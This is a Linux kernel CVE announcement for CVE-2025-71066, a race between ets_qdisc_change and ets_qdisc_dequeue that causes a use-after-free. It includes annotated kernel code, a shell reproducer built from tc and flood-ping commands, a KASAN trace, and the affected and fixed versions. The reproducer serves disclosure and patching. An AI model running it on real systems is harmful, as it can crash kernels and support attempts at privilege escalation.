Message-ID: <2026011323-CVE-2025-71066-f1fa@gregkh>
Date: Tue, 13 Jan 2026 16:31:24 +0100
From: Greg Kroah-Hartman <gregkh@...uxfoundation.org>
To: linux-cve-announce@...r.kernel.org
Cc: Greg Kroah-Hartman <gregkh@...nel.org>
Subject: CVE-2025-71066: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change

From: Greg Kroah-Hartman <gregkh@...nel.org>

Description
===========

In the Linux kernel, the following vulnerability has been resolved:

net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change

zdi-disclosures@...ndmicro.com says:

The vulnerability is a race condition between `ets_qdisc_dequeue` and
`ets_qdisc_change`.  It leads to UAF on `struct Qdisc` object.
Attacker requires the capability to create new user and network namespace
in order to trigger the bug.
See my additional commentary at the end of the analysis.

Analysis:

static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt,
                          struct netlink_ext_ack *extack)
{
...

      // (1) this lock is preventing .change handler (`ets_qdisc_change`)
      //to race with .dequeue handler (`ets_qdisc_dequeue`)
      sch_tree_lock(sch);

      for (i = nbands; i < oldbands; i++) {
              if (i >= q->nstrict && q->classes[i].qdisc->q.qlen)
                      list_del_init(&q->classes[i].alist);
              qdisc_purge_queue(q->classes[i].qdisc);
      }

      WRITE_ONCE(q->nbands, nbands);
      for (i = nstrict; i < q->nstrict; i++) {
              if (q->classes[i].qdisc->q.qlen) {
		      // (2) the class is added to the q->active
                      list_add_tail(&q->classes[i].alist, &q->active);
                      q->classes[i].deficit = quanta[i];
              }
      }
      WRITE_ONCE(q->nstrict, nstrict);
      memcpy(q->prio2band, priomap, sizeof(priomap));

      for (i = 0; i < q->nbands; i++)
              WRITE_ONCE(q->classes[i].quantum, quanta[i]);

      for (i = oldbands; i < q->nbands; i++) {
              q->classes[i].qdisc = queues[i];
              if (q->classes[i].qdisc != &noop_qdisc)
                      qdisc_hash_add(q->classes[i].qdisc, true);
      }

      // (3) the qdisc is unlocked, now dequeue can be called in parallel
      // to the rest of .change handler
      sch_tree_unlock(sch);

      ets_offload_change(sch);
      for (i = q->nbands; i < oldbands; i++) {
	      // (4) we're reducing the refcount for our class's qdisc and
	      //  freeing it
              qdisc_put(q->classes[i].qdisc);
	      // (5) If we call .dequeue between (4) and (5), we will have
	      // a strong UAF and we can control RIP
              q->classes[i].qdisc = NULL;
              WRITE_ONCE(q->classes[i].quantum, 0);
              q->classes[i].deficit = 0;
              gnet_stats_basic_sync_init(&q->classes[i].bstats);
              memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats));
      }
      return 0;
}

Comment:
This happens because some of the classes have their qdiscs assigned to
NULL, but remain in the active list. This commit fixes this issue by always
removing the class from the active list before deleting and freeing its
associated qdisc

Reproducer Steps
(trimmed version of what was sent by zdi-disclosures@...ndmicro.com)

```
DEV="${DEV:-lo}"
ROOT_HANDLE="${ROOT_HANDLE:-1:}"
BAND2_HANDLE="${BAND2_HANDLE:-20:}"   # child under 1:2
PING_BYTES="${PING_BYTES:-48}"
PING_COUNT="${PING_COUNT:-200000}"
PING_DST="${PING_DST:-127.0.0.1}"

SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}"
SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}"
SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}"

cleanup() {
  tc qdisc del dev "$DEV" root 2>/dev/null
}
trap cleanup EXIT

ip link set "$DEV" up

tc qdisc del dev "$DEV" root 2>/dev/null || true

tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2

tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \
  tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT"

tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2
tc -s qdisc ls dev $DEV

ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \
  >/dev/null 2>&1 &
tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0
tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2
tc -s qdisc ls dev $DEV
tc qdisc del dev "$DEV" parent 1:2 || true
tc -s qdisc ls dev $DEV
tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 1 strict 1
```

KASAN report
```
==================================================================
BUG: KASAN: slab-use-after-free in ets_qdisc_dequeue+0x1071/0x11b0 kernel/net/sched/sch_ets.c:481
Read of size 8 at addr ffff8880502fc018 by task ping/12308
>
CPU: 0 UID: 0 PID: 12308 Comm: ping Not tainted 6.18.0-rc4-dirty #1 PREEMPT(full)
Hardware name: QEMU Ubuntu 25.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
 <IRQ>
 __dump_stack kernel/lib/dump_stack.c:94
 dump_stack_lvl+0x100/0x190 kernel/lib/dump_stack.c:120
 print_address_description kernel/mm/kasan/report.c:378
 print_report+0x156/0x4c9 kernel/mm/kasan/report.c:482
 kasan_report+0xdf/0x110 kernel/mm/kasan/report.c:595
 ets_qdisc_dequeue+0x1071/0x11b0 kernel/net/sched/sch_ets.c:481
 dequeue_skb kernel/net/sched/sch_generic.c:294
 qdisc_restart kernel/net/sched/sch_generic.c:399
 __qdisc_run+0x1c9/0x1b00 kernel/net/sched/sch_generic.c:417
 __dev_xmit_skb kernel/net/core/dev.c:4221
 __dev_queue_xmit+0x2848/0x4410 kernel/net/core/dev.c:4729
 dev_queue_xmit kernel/./include/linux/netdevice.h:3365
[...]

Allocated by task 17115:
 kasan_save_stack+0x30/0x50 kernel/mm/kasan/common.c:56
 kasan_save_track+0x14/0x30 kernel/mm/kasan/common.c:77
 poison_kmalloc_redzone kernel/mm/kasan/common.c:400
 __kasan_kmalloc+0xaa/0xb0 kernel/mm/kasan/common.c:417
 kasan_kmalloc kernel/./include/linux/kasan.h:262
 __do_kmalloc_node kernel/mm/slub.c:5642
 __kmalloc_node_noprof+0x34e/0x990 kernel/mm/slub.c:5648
 kmalloc_node_noprof kernel/./include/linux/slab.h:987
 qdisc_alloc+0xb8/0xc30 kernel/net/sched/sch_generic.c:950
 qdisc_create_dflt+0x93/0x490 kernel/net/sched/sch_generic.c:1012
 ets_class_graft+0x4fd/0x800 kernel/net/sched/sch_ets.c:261
 qdisc_graft+0x3e4/0x1780 kernel/net/sched/sch_api.c:1196
[...]

Freed by task 9905:
 kasan_save_stack+0x30/0x50 kernel/mm/kasan/common.c:56
 kasan_save_track+0x14/0x30 kernel/mm/kasan/common.c:77
 __kasan_save_free_info+0x3b/0x70 kernel/mm/kasan/generic.c:587
 kasan_save_free_info kernel/mm/kasan/kasan.h:406
 poison_slab_object kernel/mm/kasan/common.c:252
 __kasan_slab_free+0x5f/0x80 kernel/mm/kasan/common.c:284
 kasan_slab_free kernel/./include/linux/kasan.h:234
 slab_free_hook kernel/mm/slub.c:2539
 slab_free kernel/mm/slub.c:6630
 kfree+0x144/0x700 kernel/mm/slub.c:6837
 rcu_do_batch kernel/kernel/rcu/tree.c:2605
 rcu_core+0x7c0/0x1500 kernel/kernel/rcu/tree.c:2861
 handle_softirqs+0x1ea/0x8a0 kernel/kernel/softirq.c:622
 __do_softirq kernel/kernel/softirq.c:656
[...]

Commentary:

1. Maher Azzouzi working with Trend Micro Zero Day Initiative was reported as
the person who found the issue. I requested to get a proper email to add to the
reported-by tag but got no response. For this reason i will credit the person
i exchanged emails with i.e zdi-disclosures@...ndmicro.com

2. Neither i nor Victor who did a much more thorough testing was able to
reproduce a UAF with the PoC or other approaches we tried. We were both able to
reproduce a null ptr deref. After exchange with zdi-disclosures@...ndmicro.com
they sent a small change to be made to the code to add an extra delay which
was able to simulate the UAF. i.e, this:
   qdisc_put(q->classes[i].qdisc);
   mdelay(90);
   q->classes[i].qdisc = NULL;

I was informed by Thomas Gleixner(tglx@...utronix.de) that adding delays was
acceptable approach for demonstrating the bug, quote:
"Adding such delays is common exploit validation practice"
The equivalent delay could happen "by virt scheduling the vCPU out, SMIs,
NMIs, PREEMPT_RT enabled kernel"

3. I asked the OP to test and report back but got no response and after a
few days gave up and proceeded to submit this fix.

The Linux kernel CVE team has assigned CVE-2025-71066 to this issue.


Affected and fixed versions
===========================

	Issue introduced in 5.16 with commit de6d25924c2a8c2988c6a385990cafbe742061bf and fixed in 6.1.160 with commit a75d617a4ef08682f5cfaadc01d5141c87e019c9
	Issue introduced in 5.16 with commit de6d25924c2a8c2988c6a385990cafbe742061bf and fixed in 6.6.120 with commit 9987cda315c08f63a02423fa2f9a1f6602c861a0
	Issue introduced in 5.16 with commit de6d25924c2a8c2988c6a385990cafbe742061bf and fixed in 6.12.64 with commit 06bfb66a7c8b45e3fed01351a4b087410ae5ef39
	Issue introduced in 5.16 with commit de6d25924c2a8c2988c6a385990cafbe742061bf and fixed in 6.18.3 with commit 45466141da3c98a0c5fa88be0bc14b4b6a4bd75c
	Issue introduced in 5.16 with commit de6d25924c2a8c2988c6a385990cafbe742061bf and fixed in 6.19-rc2 with commit ce052b9402e461a9aded599f5b47e76bc727f7de
	Issue introduced in 5.10.83 with commit ae2659d2c670252759ee9c823c4e039c0e05a6f2
	Issue introduced in 5.15.6 with commit e25bdbc7e951ae5728fee1f4c09485df113d013c

Please see https://www.kernel.org for a full list of currently supported
kernel versions by the kernel community.

Unaffected versions might change over time as fixes are backported to
older supported kernel versions.  The official CVE entry at
	https://cve.org/CVERecord/?id=CVE-2025-71066
will be updated if fixes are backported, please check that for the most
up to date information about this issue.


Affected files
==============

The file(s) affected by this issue are:
	net/sched/sch_ets.c


Mitigation
==========

The Linux kernel CVE team recommends that you update to the latest
stable kernel version for this, and many other bugfixes.  Individual
changes are never tested alone, but rather are part of a larger kernel
release.  Cherry-picking individual commits is not recommended or
supported by the Linux kernel community at all.  If however, updating to
the latest release is impossible, the individual changes to resolve this
issue can be found at these commits:
	https://git.kernel.org/stable/c/a75d617a4ef08682f5cfaadc01d5141c87e019c9
	https://git.kernel.org/stable/c/9987cda315c08f63a02423fa2f9a1f6602c861a0
	https://git.kernel.org/stable/c/06bfb66a7c8b45e3fed01351a4b087410ae5ef39
	https://git.kernel.org/stable/c/45466141da3c98a0c5fa88be0bc14b4b6a4bd75c
	https://git.kernel.org/stable/c/ce052b9402e461a9aded599f5b47e76bc727f7de

Powered by blists - more mailing lists